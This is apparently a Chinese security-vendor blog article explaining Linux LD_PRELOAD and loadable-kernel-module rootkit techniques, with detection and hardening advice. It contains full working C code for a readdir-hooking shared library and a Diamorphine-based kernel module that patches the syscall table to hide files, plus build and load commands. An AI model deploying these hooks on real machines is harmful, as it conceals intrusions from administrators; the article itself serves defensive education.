背景
linux LD_PRELOAD 和 LKM rootkit方法
本文将介绍用户态LD_PRELOAD rootkit方法和内核态通过可加载的内核模块 rootkit方法。
1
用户态 LD_PRELOAD 方法
什么是动态链接器(Linux dynamic linker Linux)
系统会在加载 libselinux 之前检查 /etc/ld.so.preload 是否存在,如上图1处。这就是用户态rootkit的关键位置。
ld_preload
Linux 动态链接器提供了一个名为 LD_PRELOAD 的重要功能。 LD_PRELOAD 保存用户指定的 ELF 共享对象的列表。它使用户能够在任何其他共享库之前以及在程序本身执行之前将这些共享对象加载到进程的地址空间中。此功能有多种用途,包括调试、测试和运行时检测,并且可以通过写入 /etc/ld.so.preload 文件或利用LD_PRELOAD 环境变量来使用。
检查ls的源码(https://github.com/wertarbyte/coreutils/blob/master/src/ls.c):
while (1)
{
/* Set errno to zero so we can distinguish between a readdir failure
and when readdir simply finds that there are no more entries. */
errno = 0;
next = readdir (dirp);
if (next)
{
if (! file_ignored (next->d_name))
{
enum filetype type = unknown;
#if HAVE_STRUCT_DIRENT_D_TYPE
switch (next->d_type)
{
case DT_BLK: type = blockdev; break;
case DT_CHR: type = chardev; break;
case DT_DIR: type = directory; break;
case DT_FIFO: type = fifo; break;
case DT_LNK: type = symbolic_link; break;
case DT_REG: type = normal; break;
case DT_SOCK: type = sock; break;
# ifdef DT_WHT
case DT_WHT: type = whiteout; break;
# endif
}
Demo
创建目录 /tmp/working-dir-test ,并将以下代码复制到该目录下的 hijackls.c 文件中:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
// Function pointer typedef for the original readdir ls function
typedef struct dirent* (*ls_t)(DIR*);
// Interposed ls function
struct dirent* readdir(DIR* dirp) {
// 获取原始 readdir 地址
ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");
struct dirent* entry;
do {
// 调用原始 ls 函数获取next directory 入口
entry = original_readdir(dirp);
// 检查入口地址是否是我们的目标
if (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0) {
// 跳过
entry = original_readdir(dirp);
}
} while (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0);
return entry;
}
dlsym 允许我们在运行时获取共享对象/库中函数的地址。使用dlsym中的RTLD_NEXT句柄,我们可以找到并调用原始的 readdir 函数。
1. 将代码编译为共享对象:
gcc -shared -fPIC -o /tmp/working-dir-test/libhijackls.so /tmp/working-dir-test/hijackls.c -ldl
export LD_PRELOAD=/tmp/working-dir-test/libhijackls.so
3. 先创建一个名为malicious_file的文件,执行ls,再执行步骤3,再执行ls,查看效果。
4. 最后,通过运行 unset LD_PRELOAD 取消设置环境变量。
动态链接器劫持 Rootkit 技术已被众多ACTOR使用。比如:
-
TeamTNT – 该组织在不同的活动中使用了 libprocesshider。 Libprocesshider(https://github.com/gianlucaborello/libprocesshider)是一个开源工具,通过覆盖 readdir 函数来隐藏常用进程列表工具(例如 ps、top 和 lsof)中的特定进程。该技术使 TeamTNT 能够隐藏 XMRig 加密挖矿和其他恶意进程。
-
Symbiote – 前者Rootkit 是一个基于开源的辅助工件,负责隐藏其他恶意活动活动,而 Symbiote 既是后门,又是重新编写的 Rootkit。 Symbiote 通过hook libc 和 libpcap 中的函数来隐藏其恶意活动。它还使用这些功能通过hooklibc 的 read 函数并检查调用它的进程是 ssh 还是 scp
-
OrBit – OrBit 是一个动态链接器劫持 rootkit,由植入程序和恶意共享对象组成。释放器的任务是确保共享对象在任何其他对象之前加载。为了确保这一点,OrBit 使用了两种技术:将对象路径添加到 /etc/ld.so.preload 中,并通过将 /etc/ld.so.preload 字符串替换为恶意软件提供的专用路径来修补加载程序的二进制文件。与 Symbiote 类似,OrBit hooklibc 、 libpcapm 和 PAM 中的函数来获取凭据、逃避检测、获得持久性并提供远程访问。
攻击者使用 LD_PRELOAD 来hook不同的用户空间函数,并使调查受感染的计算机变得困难。以下检测方法可以帮助判断是否感染了该类型的rootkit:
-
对于 /etc/ld.so.preload :文件中的更改将写入磁盘。建议使用镜像快照检查此文件。如果发现不寻常的库路径,请检查它。
-
对于 LD_PRELOAD :搜索使用意外的 LD_PRELOAD 环境变量执行的进程(每个进程的所有环境变量都位于/proc/{pid}/environ file 下)。如果发现不常见的库路径,请检查它。
-
将运行时文件系统与镜像快照进行比较。如果存在差异,这些文件可能是某些命令隐藏的攻击的一部分。
-
使用Unhide 等工具。 Unhide 使用不同的强力技术来检测隐藏的进程。
2
可加载内核模块(LKM) rootkit方法
Linux 提供了各种命令来管理内核模块,这些命令是 kmod 实用程序的一部分。这些命令包括:
-
insmod :用于手动将内核模块插入正在运行的内核中。
-
rmmod :用于卸载(删除)内核模块。
-
modprobe :高级模块管理工具,不仅可以加载模块,还可以处理模块依赖关系,在需要时自动加载相关模块。
-
lsmod :用于列出所有已加载的内核模块。它通过从 /proc/modules 文件读取信息并查询 /sys/module/ 目录以获取每个模块的详细信息来进行操作。
三个相关文件和目录:
-
/lib/modules/ – 包含特定于系统上安装的不同内核版本的内核模块和相关文件。 /lib/modules/ 中的每个子目录对应于特定的内核版本,并包含以下组件。它允许操作系统将不同的内核版本及其关联的模块分开,从而在需要时更容易在内核版本之间切换。
-
/proc/modules – 这个虚拟文件提供当前加载的内核模块的列表。该文件中的每一行代表一个加载的模块,并包含有关该模块的信息,包括其名称、大小和使用计数。
-
/sys/module/ – 此虚拟目录提供有关当前加载的内核模块的信息。每个加载的模块在 /sys/modules/ 下都有自己的目录,并且在每个模块的目录中,有不同的文件包含有关该模块的信息。该目录允许用户空间进程、工具和管理员在运行时访问有关加载的内核模块及其属性的信息。浏览此处以了解有关此目录结构的更多信息。
通过完全控制内核空间,可以更改此表并操作处理程序指针值。攻击者可以通过保存旧的处理程序值并将自己的处理程序添加到表中来hook任何系统调用。 利用此方法的开源 LKM rootkit 项目:Diamorphine。
Kprobes 是 Linux 内核中的一项动态检测功能,允许开发人员在内核代码路径中的特定点插入自定义代码(探针)。这些探针旨在用于调试、分析、跟踪和收集有关内核行为的运行时信息,而无需修改实际的内核代码。
Kprobes 的工作原理是将探测处理函数附加到内核代码中的选定点。当执行该特定代码路径时,将调用探测处理程序函数。通过将 kprobe 放置在敏感的内核函数上,攻击者可以在调用该函数时执行其代码。
利用此方法的开源 LKM rootkit 项目:Reptile(khook)。
Ftrace 是 Linux 内核中的内置跟踪框架,它提供了用于收集和分析有关内核行为和性能的不同类型运行时信息的工具和基础设施。它旨在帮助开发人员和系统管理员了解内核如何运行并识别性能瓶颈、调试问题等。
Ftrace 允许用户跟踪特定的内核函数。攻击者可以利用此功能来hool并拦截内核函数的执行。
利用此方法的开源 LKM rootkit 项目: Ftrace-hook 。
VFS 是类 Unix 操作系统的关键组件,它通过启用 open()、stat()、read()、write() 和 chmod() 等系统调用,为用户空间程序提供文件系统接口。 VFS 抽象并统一了对不同文件系统的访问,允许各种文件系统实现共存。 VFS 是代表通用文件模型的一系列数据结构。
攻击者可以hook与特定文件系统关联的函数指针,例如 root 和 proc 并用自己的函数指针替换它们。例如,替换readdir 文件操作函数指针(旧内核版本请参见文件操作结构体)。
利用此方法的开源 LKM rootkit 项目: adore-ng 和 suterusu 。
getdents 系统调用由 ls 和 ps 等程序使用,这些程序读取目录内容作为其流程的一部分。此系统调用通常作为LKM Rootkit 的一部分进行hook。另外,攻击者通常会hook filldir (或 fillonedir )内核函数,因此hook filldir 是出于相同目的的较低级别的hook。我们创建一个内核模块,使用系统调用表修改方法来挂钩 getdents64 系统调用,以隐藏名为“malicious_file”的文件,编译并加载它。主要一定要在虚拟环境中,或者非生成环境中测试。
1. 在/tmp下创建工作目录:
mkdir /tmp/test-lkm-rootkit && cd /tmp/test-lkm-rootkit
apt install -y build-essential libncurses-dev linux-headers-$(uname -r)
对于基于 yum 的机器运行
yum install -y kernel-devel-$(uname -r) && yum –y groupinstall 'Development Tools'
obj-m := lkmdemo.o
CC = gcc -Wall
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) M=$(PWD) clean
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>
#include <linux/proc_ns.h>
#include <linux/fdtable.h>
#ifndef __NR_getdents
#define __NR_getdents 141
#endif
#define MAGIC_PREFIX "malicious_file"
#define MODULE_NAME "lkmdemo"
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
unsigned long cr0;
static unsigned long *__sys_call_table;
typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
static t_syscall orig_getdents;
static t_syscall orig_getdents64;
unsigned long * get_syscall_table_bf(void)
{
unsigned long *syscall_table;
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
return syscall_table;
}
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
int ret = orig_getdents64(pt_regs), err;
unsigned long off = 0;
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
while (off < ret) {
dir = (void *)kdirent + off;
if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
int ret = orig_getdents(pt_regs), err;
unsigned long off = 0;
struct linux_dirent *dir, *kdirent, *prev = NULL;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
while (off < ret) {
dir = (void *)kdirent + off;
if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
static inline void write_cr0_forced(unsigned long val)
{
unsigned long __force_order;
asm volatile(
"mov %0, %%cr0"
: "+r"(val), "+m"(__force_order));
}
static inline void protect_memory(void)
{
write_cr0_forced(cr0);
}
static inline void unprotect_memory(void)
{
write_cr0_forced(cr0 & ~0x00010000);
}
static int __init lkmdemo_init(void)
{
__sys_call_table = get_syscall_table_bf();
if (!__sys_call_table)
return -1;
cr0 = read_cr0();
orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
protect_memory();
return 0;
}
static void __exit lkmdemo_cleanup(void)
{
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
protect_memory();
}
module_init(lkmdemo_init);
module_exit(lkmdemo_cleanup);
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("demo");
MODULE_DESCRIPTION("LKM rootkit based on diamorphine");
-
Diamporphine (https://github.com/m0nad/Diamorphine) rootkit.
-
Skidmap 恶意软件使用 LKM rootkit 来隐藏加密货币挖矿活动。
-
将运行时文件系统与镜像快照进行比较。如果存在差异,这些文件可能是某些命令隐藏的攻击的一部分。
-
一旦加载了内核模块,就会调用 init_module (或 finit_module )系统调用。如果使用程序运行时检测工具,请确保会针对此事件发出警报的工具。
-
Unhide 使用不同的强力技术来检测隐藏的进程。
-
使用 AppArmor 和 SElinux 等访问控制机制来限制哪些进程和用户可以加载内核模块并与内核模块交互。
-
使用安全启动。安全启动是一项功能,可确保在系统启动过程中只能加载经过签名且受信任的组件(包括内核模块)。它可以防止加载未经授权的模块。
3
工具链接
关于山石网科情报中心
山石网科情报中心,涵盖威胁情报狩猎运维和入侵检测与防御团队。 山石网科情报中心专注于保护数字世界的安全。以情报狩猎、攻击溯源和威胁分析为核心,团队致力于预防潜在攻击、应对安全事件。山石网科情报中心汇集网络安全、计算机科学、数据分析等专家,多学科融合确保全面的威胁分析。我们积极创新,采用新工具和技术提升分析效率。团队协同合作,分享信息与见解,追求卓越,为客户保驾护航。无论是防范未来威胁还是应对当下攻击,我们努力确保数字世界安全稳定。其中山石网科网络入侵检测防御系统,是山石网科公司结合多年应用安全的攻防理论和应急响应实践经验积累的基础上自主研发完成,满足各类法律法规如 PCI、等级保护、企业内部控制规范等要求。
原文始发于微信公众号(山石网科安全技术研究院):linux LD_PRELOAD 和 LKM rootkit方法